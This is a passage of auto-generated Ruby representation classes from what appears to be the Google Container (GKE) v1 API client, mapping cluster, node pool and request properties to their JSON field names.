property :logging_config, as: 'loggingConfig', class: Google::Apis::ContainerV1::LoggingConfig, decorator: Google::Apis::ContainerV1::LoggingConfig::Representation
property :logging_service, as: 'loggingService'
property :maintenance_policy, as: 'maintenancePolicy', class: Google::Apis::ContainerV1::MaintenancePolicy, decorator: Google::Apis::ContainerV1::MaintenancePolicy::Representation
property :master_auth, as: 'masterAuth', class: Google::Apis::ContainerV1::MasterAuth, decorator: Google::Apis::ContainerV1::MasterAuth::Representation
property :master_authorized_networks_config, as: 'masterAuthorizedNetworksConfig', class: Google::Apis::ContainerV1::MasterAuthorizedNetworksConfig, decorator: Google::Apis::ContainerV1::MasterAuthorizedNetworksConfig::Representation
property :monitoring_config, as: 'monitoringConfig', class: Google::Apis::ContainerV1::MonitoringConfig, decorator: Google::Apis::ContainerV1::MonitoringConfig::Representation
property :monitoring_service, as: 'monitoringService'
property :name, as: 'name'
property :network, as: 'network'
property :network_config, as: 'networkConfig', class: Google::Apis::ContainerV1::NetworkConfig, decorator: Google::Apis::ContainerV1::NetworkConfig::Representation
property :network_policy, as: 'networkPolicy', class: Google::Apis::ContainerV1::NetworkPolicy, decorator: Google::Apis::ContainerV1::NetworkPolicy::Representation
property :node_config, as: 'nodeConfig', class: Google::Apis::ContainerV1::NodeConfig, decorator: Google::Apis::ContainerV1::NodeConfig::Representation
property :node_ipv4_cidr_size, as: 'nodeIpv4CidrSize'
collection :node_pools, as: 'nodePools', class: Google::Apis::ContainerV1::NodePool, decorator: Google::Apis::ContainerV1::NodePool::Representation
property :notification_config, as: 'notificationConfig', class: Google::Apis::ContainerV1::NotificationConfig, decorator: Google::Apis::ContainerV1::NotificationConfig::Representation
property :private_cluster_config, as: 'privateClusterConfig', class: Google::Apis::ContainerV1::PrivateClusterConfig, decorator: Google::Apis::ContainerV1::PrivateClusterConfig::Representation
property :release_channel, as: 'releaseChannel', class: Google::Apis::ContainerV1::ReleaseChannel, decorator: Google::Apis::ContainerV1::ReleaseChannel::Representation
hash :resource_labels, as: 'resourceLabels'
property :resource_usage_export_config, as: 'resourceUsageExportConfig', class: Google::Apis::ContainerV1::ResourceUsageExportConfig, decorator: Google::Apis::ContainerV1::ResourceUsageExportConfig::Representation
property :self_link, as: 'selfLink'
property :services_ipv4_cidr, as: 'servicesIpv4Cidr'
property :shielded_nodes, as: 'shieldedNodes', class: Google::Apis::ContainerV1::ShieldedNodes, decorator: Google::Apis::ContainerV1::ShieldedNodes::Representation
property :status, as: 'status'
property :status_message, as: 'statusMessage'
property :subnetwork, as: 'subnetwork'
property :tpu_ipv4_cidr_block, as: 'tpuIpv4CidrBlock'
property :vertical_pod_autoscaling, as: 'verticalPodAutoscaling', class: Google::Apis::ContainerV1::VerticalPodAutoscaling, decorator: Google::Apis::ContainerV1::VerticalPodAutoscaling::Representation
property :workload_identity_config, as: 'workloadIdentityConfig', class: Google::Apis::ContainerV1::WorkloadIdentityConfig, decorator: Google::Apis::ContainerV1::WorkloadIdentityConfig::Representation
property :zone, as: 'zone'
end
end
class ClusterAutoscaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :autoprovisioning_locations, as: 'autoprovisioningLocations'
property :autoprovisioning_node_pool_defaults, as: 'autoprovisioningNodePoolDefaults', class: Google::Apis::ContainerV1::AutoprovisioningNodePoolDefaults, decorator: Google::Apis::ContainerV1::AutoprovisioningNodePoolDefaults::Representation
property :autoscaling_profile, as: 'autoscalingProfile'
property :enable_node_autoprovisioning, as: 'enableNodeAutoprovisioning'
collection :resource_limits, as: 'resourceLimits', class: Google::Apis::ContainerV1::ResourceLimit, decorator: Google::Apis::ContainerV1::ResourceLimit::Representation
end
end
class ClusterUpdate
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :desired_addons_config, as: 'desiredAddonsConfig', class: Google::Apis::ContainerV1::AddonsConfig, decorator: Google::Apis::ContainerV1::AddonsConfig::Representation
property :desired_authenticator_groups_config, as: 'desiredAuthenticatorGroupsConfig', class: Google::Apis::ContainerV1::AuthenticatorGroupsConfig, decorator: Google::Apis::ContainerV1::AuthenticatorGroupsConfig::Representation
property :desired_autopilot, as: 'desiredAutopilot', class: Google::Apis::ContainerV1::Autopilot, decorator: Google::Apis::ContainerV1::Autopilot::Representation
property :desired_binary_authorization, as: 'desiredBinaryAuthorization', class: Google::Apis::ContainerV1::BinaryAuthorization, decorator: Google::Apis::ContainerV1::BinaryAuthorization::Representation
property :desired_cluster_autoscaling, as: 'desiredClusterAutoscaling', class: Google::Apis::ContainerV1::ClusterAutoscaling, decorator: Google::Apis::ContainerV1::ClusterAutoscaling::Representation
property :desired_database_encryption, as: 'desiredDatabaseEncryption', class: Google::Apis::ContainerV1::DatabaseEncryption, decorator: Google::Apis::ContainerV1::DatabaseEncryption::Representation
property :desired_datapath_provider, as: 'desiredDatapathProvider'
property :desired_default_snat_status, as: 'desiredDefaultSnatStatus', class: Google::Apis::ContainerV1::DefaultSnatStatus, decorator: Google::Apis::ContainerV1::DefaultSnatStatus::Representation
property :desired_image_type, as: 'desiredImageType'
property :desired_intra_node_visibility_config, as: 'desiredIntraNodeVisibilityConfig', class: Google::Apis::ContainerV1::IntraNodeVisibilityConfig, decorator: Google::Apis::ContainerV1::IntraNodeVisibilityConfig::Representation
property :desired_l4ilb_subsetting_config, as: 'desiredL4ilbSubsettingConfig', class: Google::Apis::ContainerV1::IlbSubsettingConfig, decorator: Google::Apis::ContainerV1::IlbSubsettingConfig::Representation
collection :desired_locations, as: 'desiredLocations'
property :desired_logging_config, as: 'desiredLoggingConfig', class: Google::Apis::ContainerV1::LoggingConfig, decorator: Google::Apis::ContainerV1::LoggingConfig::Representation
property :desired_logging_service, as: 'desiredLoggingService'
property :desired_master_authorized_networks_config, as: 'desiredMasterAuthorizedNetworksConfig', class: Google::Apis::ContainerV1::MasterAuthorizedNetworksConfig, decorator: Google::Apis::ContainerV1::MasterAuthorizedNetworksConfig::Representation
property :desired_master_version, as: 'desiredMasterVersion'
property :desired_monitoring_config, as: 'desiredMonitoringConfig', class: Google::Apis::ContainerV1::MonitoringConfig, decorator: Google::Apis::ContainerV1::MonitoringConfig::Representation
property :desired_monitoring_service, as: 'desiredMonitoringService'
property :desired_node_pool_autoscaling, as: 'desiredNodePoolAutoscaling', class: Google::Apis::ContainerV1::NodePoolAutoscaling, decorator: Google::Apis::ContainerV1::NodePoolAutoscaling::Representation
property :desired_node_pool_id, as: 'desiredNodePoolId'
property :desired_node_version, as: 'desiredNodeVersion'
property :desired_notification_config, as: 'desiredNotificationConfig', class: Google::Apis::ContainerV1::NotificationConfig, decorator: Google::Apis::ContainerV1::NotificationConfig::Representation
property :desired_private_cluster_config, as: 'desiredPrivateClusterConfig', class: Google::Apis::ContainerV1::PrivateClusterConfig, decorator: Google::Apis::ContainerV1::PrivateClusterConfig::Representation
property :desired_private_ipv6_google_access, as: 'desiredPrivateIpv6GoogleAccess'
property :desired_release_channel, as: 'desiredReleaseChannel', class: Google::Apis::ContainerV1::ReleaseChannel, decorator: Google::Apis::ContainerV1::ReleaseChannel::Representation
property :desired_resource_usage_export_config, as: 'desiredResourceUsageExportConfig', class: Google::Apis::ContainerV1::ResourceUsageExportConfig, decorator: Google::Apis::ContainerV1::ResourceUsageExportConfig::Representation
property :desired_shielded_nodes, as: 'desiredShieldedNodes', class: Google::Apis::ContainerV1::ShieldedNodes, decorator: Google::Apis::ContainerV1::ShieldedNodes::Representation
property :desired_vertical_pod_autoscaling, as: 'desiredVerticalPodAutoscaling', class: Google::Apis::ContainerV1::VerticalPodAutoscaling, decorator: Google::Apis::ContainerV1::VerticalPodAutoscaling::Representation
property :desired_workload_identity_config, as: 'desiredWorkloadIdentityConfig', class: Google::Apis::ContainerV1::WorkloadIdentityConfig, decorator: Google::Apis::ContainerV1::WorkloadIdentityConfig::Representation
end
end
class CompleteIpRotationRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class ConfidentialNodes
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class ConfigConnectorConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class ConsumptionMeteringConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class CreateClusterRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster, as: 'cluster', class: Google::Apis::ContainerV1::Cluster, decorator: Google::Apis::ContainerV1::Cluster::Representation
property :parent, as: 'parent'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class CreateNodePoolRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :node_pool, as: 'nodePool', class: Google::Apis::ContainerV1::NodePool, decorator: Google::Apis::ContainerV1::NodePool::Representation
property :parent, as: 'parent'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class DailyMaintenanceWindow
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :duration, as: 'duration'
property :start_time, as: 'startTime'
end
end
class DatabaseEncryption
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :key_name, as: 'keyName'
property :state, as: 'state'
end
end
class DefaultSnatStatus
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
end
end
class DnsCacheConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class Empty
# @private
class Representation < Google::Apis::Core::JsonRepresentation
end
end
class GcePersistentDiskCsiDriverConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class GetJsonWebKeysResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cache_header, as: 'cacheHeader', class: Google::Apis::ContainerV1::HttpCacheControlResponseHeader, decorator: Google::Apis::ContainerV1::HttpCacheControlResponseHeader::Representation
collection :keys, as: 'keys', class: Google::Apis::ContainerV1::Jwk, decorator: Google::Apis::ContainerV1::Jwk::Representation
end
end
class GetOpenIdConfigResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cache_header, as: 'cacheHeader', class: Google::Apis::ContainerV1::HttpCacheControlResponseHeader, decorator: Google::Apis::ContainerV1::HttpCacheControlResponseHeader::Representation
collection :claims_supported, as: 'claims_supported'
collection :grant_types, as: 'grant_types'
collection :id_token_signing_alg_values_supported, as: 'id_token_signing_alg_values_supported'
property :issuer, as: 'issuer'
property :jwks_uri, as: 'jwks_uri'
collection :response_types_supported, as: 'response_types_supported'
collection :subject_types_supported, as: 'subject_types_supported'
end
end
class HorizontalPodAutoscaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
end
end
class HttpCacheControlResponseHeader
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :age, :numeric_string => true, as: 'age'
property :directive, as: 'directive'
property :expires, as: 'expires'
end
end
class HttpLoadBalancing
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
end
end
class IlbSubsettingConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class IpAllocationPolicy
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_ipv4_cidr, as: 'clusterIpv4Cidr'
property :cluster_ipv4_cidr_block, as: 'clusterIpv4CidrBlock'
property :cluster_secondary_range_name, as: 'clusterSecondaryRangeName'
property :create_subnetwork, as: 'createSubnetwork'
property :node_ipv4_cidr, as: 'nodeIpv4Cidr'
property :node_ipv4_cidr_block, as: 'nodeIpv4CidrBlock'
property :services_ipv4_cidr, as: 'servicesIpv4Cidr'
property :services_ipv4_cidr_block, as: 'servicesIpv4CidrBlock'
property :services_secondary_range_name, as: 'servicesSecondaryRangeName'
property :subnetwork_name, as: 'subnetworkName'
property :tpu_ipv4_cidr_block, as: 'tpuIpv4CidrBlock'
property :use_ip_aliases, as: 'useIpAliases'
property :use_routes, as: 'useRoutes'
end
end
class IntraNodeVisibilityConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class Jwk
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :alg, as: 'alg'
property :crv, as: 'crv'
property :e, as: 'e'
property :kid, as: 'kid'
property :kty, as: 'kty'
property :n, as: 'n'
property :use, as: 'use'
property :x, as: 'x'
property :y, as: 'y'
end
end
class KubernetesDashboard
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
end
end
class LegacyAbac
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class LinuxNodeConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
hash :sysctls, as: 'sysctls'
end
end
class ListClustersResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :clusters, as: 'clusters', class: Google::Apis::ContainerV1::Cluster, decorator: Google::Apis::ContainerV1::Cluster::Representation
collection :missing_zones, as: 'missingZones'
end
end
class ListNodePoolsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :node_pools, as: 'nodePools', class: Google::Apis::ContainerV1::NodePool, decorator: Google::Apis::ContainerV1::NodePool::Representation
end
end
class ListOperationsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :missing_zones, as: 'missingZones'
collection :operations, as: 'operations', class: Google::Apis::ContainerV1::Operation, decorator: Google::Apis::ContainerV1::Operation::Representation
end
end
class ListUsableSubnetworksResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :next_page_token, as: 'nextPageToken'
collection :subnetworks, as: 'subnetworks', class: Google::Apis::ContainerV1::UsableSubnetwork, decorator: Google::Apis::ContainerV1::UsableSubnetwork::Representation
end
end
class LoggingComponentConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :enable_components, as: 'enableComponents'
end
end
class LoggingConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :component_config, as: 'componentConfig', class: Google::Apis::ContainerV1::LoggingComponentConfig, decorator: Google::Apis::ContainerV1::LoggingComponentConfig::Representation
end
end
class MaintenancePolicy
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :resource_version, as: 'resourceVersion'
property :window, as: 'window', class: Google::Apis::ContainerV1::MaintenanceWindow, decorator: Google::Apis::ContainerV1::MaintenanceWindow::Representation
end
end
class MaintenanceWindow
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :daily_maintenance_window, as: 'dailyMaintenanceWindow', class: Google::Apis::ContainerV1::DailyMaintenanceWindow, decorator: Google::Apis::ContainerV1::DailyMaintenanceWindow::Representation
hash :maintenance_exclusions, as: 'maintenanceExclusions', class: Google::Apis::ContainerV1::TimeWindow, decorator: Google::Apis::ContainerV1::TimeWindow::Representation
property :recurring_window, as: 'recurringWindow', class: Google::Apis::ContainerV1::RecurringTimeWindow, decorator: Google::Apis::ContainerV1::RecurringTimeWindow::Representation
end
end
class MasterAuth
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :client_certificate, as: 'clientCertificate'
property :client_certificate_config, as: 'clientCertificateConfig', class: Google::Apis::ContainerV1::ClientCertificateConfig, decorator: Google::Apis::ContainerV1::ClientCertificateConfig::Representation
property :client_key, as: 'clientKey'
property :cluster_ca_certificate, as: 'clusterCaCertificate'
property :password, as: 'password'
property :username, as: 'username'
end
end
class MasterAuthorizedNetworksConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :cidr_blocks, as: 'cidrBlocks', class: Google::Apis::ContainerV1::CidrBlock, decorator: Google::Apis::ContainerV1::CidrBlock::Representation
property :enabled, as: 'enabled'
end
end
class MaxPodsConstraint
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :max_pods_per_node, :numeric_string => true, as: 'maxPodsPerNode'
end
end
class Metric
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :double_value, as: 'doubleValue'
property :int_value, :numeric_string => true, as: 'intValue'
property :name, as: 'name'
property :string_value, as: 'stringValue'
end
end
class MonitoringComponentConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :enable_components, as: 'enableComponents'
end
end
class MonitoringConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :component_config, as: 'componentConfig', class: Google::Apis::ContainerV1::MonitoringComponentConfig, decorator: Google::Apis::ContainerV1::MonitoringComponentConfig::Representation
end
end
class NetworkConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :datapath_provider, as: 'datapathProvider'
property :default_snat_status, as: 'defaultSnatStatus', class: Google::Apis::ContainerV1::DefaultSnatStatus, decorator: Google::Apis::ContainerV1::DefaultSnatStatus::Representation
property :enable_intra_node_visibility, as: 'enableIntraNodeVisibility'
property :enable_l4ilb_subsetting, as: 'enableL4ilbSubsetting'
property :network, as: 'network'
property :private_ipv6_google_access, as: 'privateIpv6GoogleAccess'
property :subnetwork, as: 'subnetwork'
end
end
class NetworkPolicy
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
property :provider, as: 'provider'
end
end
class NetworkPolicyConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
end
end
class NodeConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :accelerators, as: 'accelerators', class: Google::Apis::ContainerV1::AcceleratorConfig, decorator: Google::Apis::ContainerV1::AcceleratorConfig::Representation
property :boot_disk_kms_key, as: 'bootDiskKmsKey'
property :disk_size_gb, as: 'diskSizeGb'
property :disk_type, as: 'diskType'
property :gvnic, as: 'gvnic', class: Google::Apis::ContainerV1::VirtualNic, decorator: Google::Apis::ContainerV1::VirtualNic::Representation
property :image_type, as: 'imageType'
property :kubelet_config, as: 'kubeletConfig', class: Google::Apis::ContainerV1::NodeKubeletConfig, decorator: Google::Apis::ContainerV1::NodeKubeletConfig::Representation
hash :labels, as: 'labels'
property :linux_node_config, as: 'linuxNodeConfig', class: Google::Apis::ContainerV1::LinuxNodeConfig, decorator: Google::Apis::ContainerV1::LinuxNodeConfig::Representation
property :local_ssd_count, as: 'localSsdCount'
property :machine_type, as: 'machineType'
hash :metadata, as: 'metadata'
property :min_cpu_platform, as: 'minCpuPlatform'
property :node_group, as: 'nodeGroup'
collection :oauth_scopes, as: 'oauthScopes'
property :preemptible, as: 'preemptible'
property :reservation_affinity, as: 'reservationAffinity', class: Google::Apis::ContainerV1::ReservationAffinity, decorator: Google::Apis::ContainerV1::ReservationAffinity::Representation
property :sandbox_config, as: 'sandboxConfig', class: Google::Apis::ContainerV1::SandboxConfig, decorator: Google::Apis::ContainerV1::SandboxConfig::Representation
property :service_account, as: 'serviceAccount'
property :shielded_instance_config, as: 'shieldedInstanceConfig', class: Google::Apis::ContainerV1::ShieldedInstanceConfig, decorator: Google::Apis::ContainerV1::ShieldedInstanceConfig::Representation
collection :tags, as: 'tags'
collection :taints, as: 'taints', class: Google::Apis::ContainerV1::NodeTaint, decorator: Google::Apis::ContainerV1::NodeTaint::Representation
property :workload_metadata_config, as: 'workloadMetadataConfig', class: Google::Apis::ContainerV1::WorkloadMetadataConfig, decorator: Google::Apis::ContainerV1::WorkloadMetadataConfig::Representation
end
end
class NodeKubeletConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cpu_cfs_quota, as: 'cpuCfsQuota'
property :cpu_cfs_quota_period, as: 'cpuCfsQuotaPeriod'
property :cpu_manager_policy, as: 'cpuManagerPolicy'
end
end
class NodeManagement
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :auto_repair, as: 'autoRepair'
property :auto_upgrade, as: 'autoUpgrade'
property :upgrade_options, as: 'upgradeOptions', class: Google::Apis::ContainerV1::AutoUpgradeOptions, decorator: Google::Apis::ContainerV1::AutoUpgradeOptions::Representation
end
end
class NodeNetworkConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :create_pod_range, as: 'createPodRange'
property :pod_ipv4_cidr_block, as: 'podIpv4CidrBlock'
property :pod_range, as: 'podRange'
end
end
class NodePool
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :autoscaling, as: 'autoscaling', class: Google::Apis::ContainerV1::NodePoolAutoscaling, decorator: Google::Apis::ContainerV1::NodePoolAutoscaling::Representation
collection :conditions, as: 'conditions', class: Google::Apis::ContainerV1::StatusCondition, decorator: Google::Apis::ContainerV1::StatusCondition::Representation
property :config, as: 'config', class: Google::Apis::ContainerV1::NodeConfig, decorator: Google::Apis::ContainerV1::NodeConfig::Representation
property :initial_node_count, as: 'initialNodeCount'
collection :instance_group_urls, as: 'instanceGroupUrls'
collection :locations, as: 'locations'
property :management, as: 'management', class: Google::Apis::ContainerV1::NodeManagement, decorator: Google::Apis::ContainerV1::NodeManagement::Representation
property :max_pods_constraint, as: 'maxPodsConstraint', class: Google::Apis::ContainerV1::MaxPodsConstraint, decorator: Google::Apis::ContainerV1::MaxPodsConstraint::Representation
property :name, as: 'name'
property :network_config, as: 'networkConfig', class: Google::Apis::ContainerV1::NodeNetworkConfig, decorator: Google::Apis::ContainerV1::NodeNetworkConfig::Representation
property :pod_ipv4_cidr_size, as: 'podIpv4CidrSize'
property :self_link, as: 'selfLink'
property :status, as: 'status'
property :status_message, as: 'statusMessage'
property :upgrade_settings, as: 'upgradeSettings', class: Google::Apis::ContainerV1::UpgradeSettings, decorator: Google::Apis::ContainerV1::UpgradeSettings::Representation
property :version, as: 'version'
end
end
class NodePoolAutoscaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :autoprovisioned, as: 'autoprovisioned'
property :enabled, as: 'enabled'
property :max_node_count, as: 'maxNodeCount'
property :min_node_count, as: 'minNodeCount'
end
end
class NodeTaint
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :effect, as: 'effect'
property :key, as: 'key'
property :value, as: 'value'
end
end
class NotificationConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :pubsub, as: 'pubsub', class: Google::Apis::ContainerV1::PubSub, decorator: Google::Apis::ContainerV1::PubSub::Representation
end
end
class Operation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :cluster_conditions, as: 'clusterConditions', class: Google::Apis::ContainerV1::StatusCondition, decorator: Google::Apis::ContainerV1::StatusCondition::Representation
property :detail, as: 'detail'
property :end_time, as: 'endTime'
property :error, as: 'error', class: Google::Apis::ContainerV1::Status, decorator: Google::Apis::ContainerV1::Status::Representation
property :location, as: 'location'
property :name, as: 'name'
collection :nodepool_conditions, as: 'nodepoolConditions', class: Google::Apis::ContainerV1::StatusCondition, decorator: Google::Apis::ContainerV1::StatusCondition::Representation
property :operation_type, as: 'operationType'
property :progress, as: 'progress', class: Google::Apis::ContainerV1::OperationProgress, decorator: Google::Apis::ContainerV1::OperationProgress::Representation
property :self_link, as: 'selfLink'
property :start_time, as: 'startTime'
property :status, as: 'status'
property :status_message, as: 'statusMessage'
property :target_link, as: 'targetLink'
property :zone, as: 'zone'
end
end
class OperationProgress
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :metrics, as: 'metrics', class: Google::Apis::ContainerV1::Metric, decorator: Google::Apis::ContainerV1::Metric::Representation
property :name, as: 'name'
collection :stages, as: 'stages', class: Google::Apis::ContainerV1::OperationProgress, decorator: Google::Apis::ContainerV1::OperationProgress::Representation
property :status, as: 'status'
end
end
class PrivateClusterConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enable_private_endpoint, as: 'enablePrivateEndpoint'
property :enable_private_nodes, as: 'enablePrivateNodes'
property :master_global_access_config, as: 'masterGlobalAccessConfig', class: Google::Apis::ContainerV1::PrivateClusterMasterGlobalAccessConfig, decorator: Google::Apis::ContainerV1::PrivateClusterMasterGlobalAccessConfig::Representation
property :master_ipv4_cidr_block, as: 'masterIpv4CidrBlock'
property :peering_name, as: 'peeringName'
property :private_endpoint, as: 'privateEndpoint'
property :public_endpoint, as: 'publicEndpoint'
end
end
class PrivateClusterMasterGlobalAccessConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class PubSub
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
property :topic, as: 'topic'
end
end
class RecurringTimeWindow
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :recurrence, as: 'recurrence'
property :window, as: 'window', class: Google::Apis::ContainerV1::TimeWindow, decorator: Google::Apis::ContainerV1::TimeWindow::Representation
end
end
class ReleaseChannel
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :channel, as: 'channel'
end
end
class ReleaseChannelConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :channel, as: 'channel'
property :default_version, as: 'defaultVersion'
collection :valid_versions, as: 'validVersions'
end
end
class ReservationAffinity
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :consume_reservation_type, as: 'consumeReservationType'
property :key, as: 'key'
collection :values, as: 'values'
end
end
class ResourceLimit
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :maximum, :numeric_string => true, as: 'maximum'
property :minimum, :numeric_string => true, as: 'minimum'
property :resource_type, as: 'resourceType'
end
end
class ResourceUsageExportConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :bigquery_destination, as: 'bigqueryDestination', class: Google::Apis::ContainerV1::BigQueryDestination, decorator: Google::Apis::ContainerV1::BigQueryDestination::Representation
property :consumption_metering_config, as: 'consumptionMeteringConfig', class: Google::Apis::ContainerV1::ConsumptionMeteringConfig, decorator: Google::Apis::ContainerV1::ConsumptionMeteringConfig::Representation
property :enable_network_egress_metering, as: 'enableNetworkEgressMetering'
end
end
class RollbackNodePoolUpgradeRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :node_pool_id, as: 'nodePoolId'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SandboxConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :type, as: 'type'
end
end
class ServerConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :channels, as: 'channels', class: Google::Apis::ContainerV1::ReleaseChannelConfig, decorator: Google::Apis::ContainerV1::ReleaseChannelConfig::Representation
property :default_cluster_version, as: 'defaultClusterVersion'
property :default_image_type, as: 'defaultImageType'
collection :valid_image_types, as: 'validImageTypes'
collection :valid_master_versions, as: 'validMasterVersions'
collection :valid_node_versions, as: 'validNodeVersions'
end
end
class SetAddonsConfigRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :addons_config, as: 'addonsConfig', class: Google::Apis::ContainerV1::AddonsConfig, decorator: Google::Apis::ContainerV1::AddonsConfig::Representation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetLabelsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :label_fingerprint, as: 'labelFingerprint'
property :name, as: 'name'
property :project_id, as: 'projectId'
hash :resource_labels, as: 'resourceLabels'
property :zone, as: 'zone'
end
end
class SetLegacyAbacRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :enabled, as: 'enabled'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetLocationsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
collection :locations, as: 'locations'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetLoggingServiceRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :logging_service, as: 'loggingService'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetMaintenancePolicyRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :maintenance_policy, as: 'maintenancePolicy', class: Google::Apis::ContainerV1::MaintenancePolicy, decorator: Google::Apis::ContainerV1::MaintenancePolicy::Representation
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetMasterAuthRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :action, as: 'action'
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :update, as: 'update', class: Google::Apis::ContainerV1::MasterAuth, decorator: Google::Apis::ContainerV1::MasterAuth::Representation
property :zone, as: 'zone'
end
end
class SetMonitoringServiceRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :monitoring_service, as: 'monitoringService'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetNetworkPolicyRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :network_policy, as: 'networkPolicy', class: Google::Apis::ContainerV1::NetworkPolicy, decorator: Google::Apis::ContainerV1::NetworkPolicy::Representation
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetNodePoolAutoscalingRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :autoscaling, as: 'autoscaling', class: Google::Apis::ContainerV1::NodePoolAutoscaling, decorator: Google::Apis::ContainerV1::NodePoolAutoscaling::Representation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :node_pool_id, as: 'nodePoolId'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetNodePoolManagementRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
